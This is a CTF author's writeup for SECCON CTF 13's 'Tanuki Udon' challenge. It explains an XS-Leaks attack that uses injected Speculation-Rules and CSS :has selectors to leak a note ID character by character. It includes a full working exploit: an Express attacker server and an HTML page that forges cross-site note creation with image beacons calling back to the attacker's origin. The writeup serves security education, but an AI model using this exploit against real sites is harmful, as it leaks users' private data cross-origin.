Satoooonの物置

CTFなどをしていない

XS-Leaks through Speculation-Rules - SECCON CTF 13 Author's Writeup ( Tanuki Udon )

JP

(Translated by ChatGPT)

In this article, I'll explain the intended solution for the "Tanuki Udon" challenge presented in SECCON CTF 13.

TL;DR

An XS-Leaks attack using Speculation Rules can be performed when the following conditions are met:

  1. The attacker can inject Speculation Rules into the victim's site.
  2. The attacker can determine which pages have been prefetched or prerendered.

Under these conditions, it is possible to leak information (such as HTML attribute values) accessible via CSS selectors through selector_matches.

Problem Description

The challenge is based on a common note app. The top page displays a list of notes.

      <ul>
        <% for (const note of notes) { %>
          <li><a href="/note/<%= note.id %>"><%= note.title %></a></li>
        <% } %>
        <% if (notes.length === 0) { %>
          <li>(empty)</li>
        <% } %>
      </ul>

Notes can be written in Markdown format, allowing the use of <a> and <img> tags.

A notable feature is that, aside from headers containing content, users can specify one custom response header.

app.use((req, res, next) => {
  if (typeof req.query.k === 'string' && typeof req.query.v === 'string') {
    // Forbidden :)
    if (req.query.k.toLowerCase().includes('content')) return next();

    res.header(req.query.k, req.query.v);
  }
  next();
});

Additionally, (as is often the case) note creation is not protected against CSRF, meaning it can be initiated from a cross-origin site.

The bot creates a note containing the flag and then accesses a specified URL.

In practice, the problem contained a non-intended solution due to a bug in Markdown processing, allowing for XSS exploitation. The intended solution involved an XS-Leaks attack using the Speculation-Rules header.

What is the Speculation Rules API?

The Speculation Rules API is a browser feature that controls speculative page loading (prefetching) and rendering (prerendering). By preloading URLs that match specified conditions, it speeds up page display.

More details are available on MDN:
Speculation Rules API - MDN Docs

The API can be used by embedding rules within a <script type="speculationrules"> tag or by specifying them via the Speculation-Rules header.

Rules are expressed in JSON format like following.

  {
    "prerender": [
      {
        "where": {
          "and": [
            { "href_matches": "/*" },
            { "not": { "href_matches": "/logout" } },
            { "not": { "href_matches": "/*\\?*(^|&)add-to-cart=*" } },
            { "not": { "selector_matches": ".no-prerender" } },
            { "not": { "selector_matches": "[rel~=nofollow]" } }
          ]
        }
      }
    ],
    "prefetch": [
      {
        "urls": ["next.html", "next2.html"],
        "requires": ["anonymous-client-ip-when-cross-origin"],
        "referrer_policy": "no-referrer"
      }
    ]
  }

When using the Speculation-Rules header, this JSON is returned from the designated URL.

The JSON structure is divided into two fields: prefetch and prerender. To specify the targets for preloading, either where or urls is required:

  • where: Matches DOM elements in the document based on specified conditions and targets their referenced URLs.
  • urls: Directly specifies the URLs to target.

For detailed specifications, refer to the MDN documentation:
Speculation Rules Script Type - MDN Docs

Solution

The main idea is to use where matching to leak the ID of the flag note.

First, the attacker embeds an <img> tag referencing their server within a note. This allows them to determine whether that note has been prerendered.

Using this approach, if an oracle can be created that triggers prerendering of the attacker's note when part of the flag note's ID matches, an XS-Leaks attack becomes feasible.

where supports two types of matching:

  • href_matches: Matches based on a URL Pattern.
  • selector_matches: Matches using CSS selectors.

The selector_matches method is a powerful primitive. While it must ultimately reference a single element with a URL attribute, it is essentially equivalent to document.querySelector. Complex selectors such as div#foo a#bar are permissible.

Due to the bot's behavior, it is known that the flag note is always created first. Exploiting this, you could use a selector like ul li:first-child a[href^=/note/{prefix}] to create an oracle.

However, this is only half the solution. If the prefix matches, the flag note is loaded, but there is no direct way to determine whether it has been loaded (though connection pool techniques might work—let me know if you've solved with that).

Thus, the goal is to create a situation where matching the flag note's ID causes the attacker's note to be prerendered. This can be achieved using the :has pseudo-class.

The :has pseudo-class matches an element containing the specified child element. Using it, you can create a selector like :has(ul li:first-child a[href^=/note/{prefix}]) ul li:nth-last-child({idx}) a. This selector ensures that when the prefix matches the flag note's ID, the attacker's note specified by idx is prerendered.

Finally, by creating multiple notes corresponding to different prefixes and specifying multiple selector_matches rules, it is possible to build the oracle. Ensure the eagerness is set to immediate so that URLs matched by where are prerendered unconditionally.

Here's full exploit:

  • server.js
const app = require("express")();
const fs = require("node:fs");

const PORT = "8080";
const SECCON_HOST = 
    process.env.SECCON_HOST ?? console.log("No SECCON_HOST") ?? process.exit(1);
const CONNECTBACK_URL = 
    process.env.CONNECTBACK_URL ?? console.log("No CONNECTBACK_URL") ?? process.exit(1);
const WEB_PORT = "3000";
const BOT_PORT = "1337";

const fail = (message) => {
  console.error(message);
  return process.exit(1);
};

const sleep = (msecs) => new Promise((resolve) => setTimeout(resolve, msecs));

const reportUrl = (url) =>
  fetch(`http://${SECCON_HOST}:${BOT_PORT}/api/report`, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
    },
    body: JSON.stringify({ url }),
  }).then((r) => r.text());

const html = fs.readFileSync("index.html");

const CHARS = "0123456789abcdef";
let prefix = "";

app.get("/", (req, res) => {
    res.header("Content-Type", "text/html");
    res.send(html);
});

app.get("/leak", (req, res) => {
    prefix = req.query.prefix;
    console.log(req.query.prefix);
    res.send();
});

app.get("/rules", (req, res) => {
    const prefixes = [...CHARS].map(c => prefix + c);
    const selectors = prefixes.map((pref, i) => `:has(ul li:first-child a[href^="/note/${pref}"]) ul li:nth-last-child(${prefixes.length - i}) a`);

    res.header("Access-Control-Allow-Origin", "*");
    res.header("Content-Type", "application/speculationrules+json");
    res.json({
        "prerender": [{
            "eagerness": "immediate", 
            "where": {
                "selector_matches": selectors
            }
        }
    ]});
});

app.get("/prefix", (req, res) => {
    return res.send(prefix);
});

app.get("/flag", async (req, res) => {
    const note = await fetch(`http://${SECCON_HOST}:${WEB_PORT}/note/${prefix}`).then(r=>r.text());
    console.log(note.replaceAll("&lt;", "<").replaceAll("&gt;", ">"));
    process.exit(0);
});

app.listen(PORT, "0.0.0.0", async () => {
    prefix = ""
    await reportUrl(`${CONNECTBACK_URL}?target=http://web:3000`);
    await sleep(90 * 1000);
    fail("Failed");
});
  • index.html
<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <title>Exploit</title>
</head>
<body>
    <script type="text/javascript">
       const WEB_HOST = new URLSearchParams(location.search).get("target");

       const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec));

       const log = async (message) => {
            console.log(`[LOG] ${message}`)
            await fetch(`/log?` + encodeURIComponent(message), {
                mode: "no-cors"
            });
        }

       const submitForm = (url, params, options = {}) => {
            const form = document.createElement("form");
            form.method = options.method || "POST";
            form.action = url;
            form.target = options.target || name;
            Object.entries(params).forEach(([k, v]) => {
                const input = document.createElement("input");
                input.type = "text";
                input.name = k;
                input.value = v;
                form.appendChild(input);
            });
            document.body.appendChild(form);
            form.submit();
        }

       const N = 8*2;
       const CHARS = "0123456789abcdef";
       let prefix = "";

       const waitUntilLeak = async () => {
            while ((await fetch("/prefix").then(r=>r.text())) === prefix) await sleep(250);
        }

       const leakOne = async () => {
            const ws = [];
            [...CHARS].map(c => {
                const name = Math.floor(Math.random() * 1000000);
                const w = open("about:blank", name);
                submitForm(`${WEB_HOST}/note`, {
                    title: `prefix ${prefix + c}`, 
                    content: `![](${location.origin}/leak?prefix=${prefix + c})`
                }, { target: name });
                ws.push(w);
            });
            await sleep(1000);

            const w = open(`${WEB_HOST}/?k=Speculation-Rules&v="${location.origin}/rules"`);

            await waitUntilLeak();

            w.close();
            ws.map(w => w.close());
        }

       const exploit = async () => {
            for (let i = 0; i < N; i++) {
                await leakOne();
                prefix = await fetch("/prefix").then(r => r.text());
            }
            console.log(await fetch("/flag"));
        };

       (async () => {
            try {
                console.log("Start exploit");
                await exploit();
                console.log("Finished exploit");
            } catch (e) {
                console.log(e);
                await log(e.toString());
            }
        })();
   </script>
</body>
</html>

Alternative Solutions

hiikunZ solved the challenge by using href_matches combined with the maximum limit on the number of prerendered pages:

qiita.com

Others also attempted the challenge via Discord DMs. Thank you to everyone who participated!